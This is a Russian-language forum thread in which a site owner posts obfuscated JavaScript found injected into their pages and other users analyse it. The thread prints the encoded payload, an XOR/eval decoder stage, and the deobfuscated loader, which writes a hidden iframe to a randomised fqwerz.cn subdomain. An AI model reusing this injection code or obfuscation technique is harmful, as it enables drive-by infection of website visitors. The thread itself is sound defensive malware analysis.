x62\x25\x33\x39\x25\x31\x62\x25\x36\x62\x25\x30\x33\x25\x36\x61\x25\x31\x32\x25\x31\x31\x25\x37\x64\x25\x33\x64\x25\x34\x61\x25\x37\x63\x25\x31\x30\x25\x33\x65\x25\x30\x65\x25\x37\x64\x25\x30\x62\x25\x33\x36\x25\x31\x64\x25\x37\x33\x25\x36\x61\x25\x37\x64\x25\x37\x63\x25\x37\x65\x25\x33\x64\x25\x34\x64\x25\x32\x34\x25\x33\x32\x25\x30\x33\x25\x33\x35\x25\x31\x33\x25\x31\x34\x25\x33\x30\x25\x33\x63\x25\x34\x32\x25\x33\x61\x25\x30\x39\x25\x36\x63\x25\x31\x63\x25\x32\x38\x25\x36\x66\x25\x32\x31\x25\x34\x37\x25\x36\x65\x25\x37\x36\x25\x33\x38\x25\x31\x36\x25\x37\x34\x25\x34\x39\x25\x33\x35\x25\x31\x33\x25\x33\x66\x25\x31\x38\x25\x36\x64\x25\x37\x39\x25\x36\x31\x25\x37\x61\x25\x35\x64\x25\x33\x36\x25\x34\x61\x25\x36\x36\x25\x35\x35\x25\x37\x35\x25\x35\x62\x25\x37\x63\x25\x36\x62\x25\x36\x33\x25\x37\x39\x25\x33\x31\x25\x33\x35\x25\x30\x36\x25\x30\x65\x25\x33\x61\x25\x31\x33\x25\x33\x64\x25\x30\x34\x25\x33\x37\x25\x32\x33\x25\x33\x32\x25\x31\x66\x25\x33\x35\x25\x33\x30\x25\x33\x65\x25\x37\x35\x25\x34\x63\x25\x37\x36\x25\x37\x31\x25\x32\x33\x25\x35\x64\x25\x37\x61\x25\x32\x31\x25\x35\x32\x25\x33\x64\x25\x34\x39\x25\x35\x35\x25\x33\x65\x25\x33\x34\x25\x30\x36\x25\x37\x35\x25\x37\x31\x25\x33\x64\x25\x33\x32\x25\x32\x32\x25\x32\x63\x25\x31\x62\x25\x35\x33\x25\x30\x63\x25\x36\x37\x25\x30\x30\x25\x33\x63\x25\x31\x65\x25\x37\x61\x25\x32\x34\x25\x37\x61\x25\x35\x37\x25\x31\x37\x25\x31\x62\x25\x33\x38\x25\x37\x63\x25\x32\x31\x25\x30\x63\x25\x30\x62\x25\x33\x34\x25\x36\x62\x25\x34\x37\x25\x36\x61\x25\x33\x66\x25\x37\x37\x25\x33\x34\x25\x33\x62\x25\x30\x38\x25\x34\x62\x25\x31\x34\x25\x31\x63\x25\x31\x66\x25\x32\x63\x25\x33\x65\x25\x32\x63\x25\x32\x30\x25\x37\x65\x25\x36\x39\x25\x36\x61\x25\x34\x34\x25\x32\x32\x25\x32\x63\x25\x36\x31\x25\x36\x66\x25\x32\x62\x25\x32\x37\x25\x36\x35\x25\x32\x37\x25\x31\x65\x25\x33\x62\x25\x37\x64\x25\x36\x65\x25\x31\x63\x25\x30\x36\x25\x33\x36\x25\x37\x39\x25\x32\x30\x25\x35\x35\x25\x32\x33\x25\x32\x64\x25\x32\x32\x25\x37\x39\x25\x33\x61\x25\x33\x39\x25\x36\x32\x25\x36\x36\x25\x34\x62\x25\x33\x64\x25\x32\x66\x25\x33\x66\x25\x35\x36\x25\x33\x63\x25\x37\x35\x25\x30\x65\x25\x32\x63\x25\x34\x63\x25\x37\x66\x25\x35\x33\x25\x36\x65\x25\x33\x39\x25\x30\x64\x25\x36\x66\x25\x35\x30\x25\x37\x64\x25\x31\x38\x25\x31\x36\x25\x30\x62\x25\x33\x33\x25\x33\x62\x25\x31\x36\x25\x37\x62\x25\x37\x66\x25\x35\x33\x27\x29\x3b');	 </script></span>

Что это за код? Как внедряется в наши страницы? Кто виноват Хостинг-провайдер или наш Web- программист?
 
V

Vovochka

Несколько часов разбирал это делает. Абсолютно шикарно! Исполняемый код закодирован раскодирующим кодом! Кайф. :)
Итоговая функция почти такая (я слегка улучшил читаемость) :
<!--shcode--><pre><code class='JavaScript'>function JuRb(){};
JuRb.prototype = {
cookieValue:1,
cookieName:'gdceahbf',
getRandString : function(){
var l=16,c='123456789abcdef',o='';
for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);
return o;
},
path:'fqwerz.cn',
alreadyInstalled : function(){
return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
},
install : function(){
if(!this.alreadyInstalled()){
var s="<div style='display:none'><iframe src='"+this.getFrameURL()+"'>*<iframe><div>";
try {
var o=document;
o.open();
o.write(s);
o.close();
}catch(e){
document.write('<html><body>'+s+'<body><html>')
}
this.setCookie(this.cookieName, this.cookieValue);
}
},
getFrameURL : function(){
var dlh=document.location.host;
return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.path + this.host;
}, // "http://56713f3f662c5c57.a1ab37b1d72b75f3.fqwerz.cn/qq.cn/' - Что-то типа того возвращает
setCookie : function(name, value){
var d= new Date();
d.setTime(new Date().getTime() + 86400000);
document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
},
host:'/qq.cn/'
};
var ocho=new JuRb();
ocho.install();[/CODE]
Собственно, что там грузится с того сайта я не смотрел... В общем и так понятно, но на вопрос "Что это за код?" помоему я ответил :)
 
P

Programmer_Hard

взломали фтп, а скорее всего угнали с компьютера зараженного из фтп менеджера.... Короче менять пароли на фтп и чистить сервак и свои компы.... Виновных хрен найдете к сожалению ( fqwerz.cn этот домен полюбому на таиландца оформлен )

Исполняемый код закодирован раскодирующим кодом!
это как ? можно поподробнее )
 
V

Vovochka

это как ? можно поподробнее )
После первого преобразования мы получаем следующий код:
Код:
function yY3(x4xOY) {

function z4TqKb8(mSoIm) {
var lZV5X = 0;
var z5s0o = mSoIm.length, fQoB2 = 0;
while (fQoB2 < z5s0o) {
lZV5X += ddP9(mSoIm, fQoB2) * z5s0o;
fQoB2++;
}
return lZV5X + "";
}


function ddP9(pQ2fXF, wwI) {
return pQ2fXF.charCodeAt(wwI);
}

try {
var beIoNcA = eval("aNrogNuQmKeQnOtNsO.KcoaOlOlKeOeQ".replace(/[oOQKN]/g, "")), mFthx = "", vWGjgK = 0, kLb = 0;
var jT7L = (new String(beIoNcA)).replace(/[^@a-z0-9A-Z_.,-]/g, "");
var kLC = z4TqKb8(jT7L);
x4xOY = unescape(x4xOY);
for (var idm81 = 0; idm81 < x4xOY.length; idm81++) {
var pFG7nv = ddP9(jT7L, vWGjgK) ^ ddP9(kLC, kLb);
var d4THg = ddP9(x4xOY, idm81);
vWGjgK++, kLb++;
mFthx += String.fromCharCode(d4THg ^ pFG7nv);
if (kLb > kLC.length) {
kLb = 0;
}
if (vWGjgK > jT7L.length) {
vWGjgK = 0;
}
}
eval(mFthx);
return mFthx = new String;
} catch (e) {
}
}
После того как я привел его в читаемый вид (с помощью "правка" -> "заменить") я таки обратил внимание на второй eval
Код:
eval(mFthx);
Сразу вставил перед ним alert и получил нечто жуткое, абсолютно не выполнимое. Я ничего сразу не понял, но продолжил ковыряться.
Код:
var beIoNcA = eval("aNrogNuQmKeQnOtNsO.KcoaOlOlKeOeQ".replace(/[oOQKN]/g, ""))
Как аказалось ЭТОТ кусок кода был ничем иным как
Код:
var beIoNcA = eval("arguments.callee");
Который в свою очередь возвращал в переменную вышеуказанный код (самый первый блок). Вот путем преобразований именно этого кода получается новый, который я и превел в первом посте :)
Так что простая вставка alert для просмотра переменной приводила к тому, что получал совершенно другой результат.

Кстати, пока разбирался умудрился таки несколько раз выполнить код :-D
Слава линуксу, я этого не боюсь :)
 
V

Vovochka

Мне сейчас отдается 403. Ничего я там уже не посмотрю.
 
G

Guest

Vovochka, большое, Вам, спасибо.
Уточняющий вопрос, можно чуть подробнее о том как могло произойти зараженее контента сайта (перечислити если можно возможные варианты).
 
P

Programmer_Hard

Vovochka, большое, Вам, спасибо.
Уточняющий вопрос, можно чуть подробнее о том как могло произойти зараженее контента сайта (перечислити если можно возможные варианты).
Ну я почти ответил.... Если вас интересует заразил ли ваш сайт ваш прогер, то думаю что он не идиот... Провайдер (хостер) тоже не виноват... Многие трояны могут заразить ваш комп, затем собрать все пароли с компа, в том числе все доступы на фтп.
А затем либо напрямую отредактировать индекс страницы на сервере через фтп доступ внедрив свой код, либо залить шел и через него уже творить черные дела на сервере, причем всем этим троян может заниматься автономно....
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!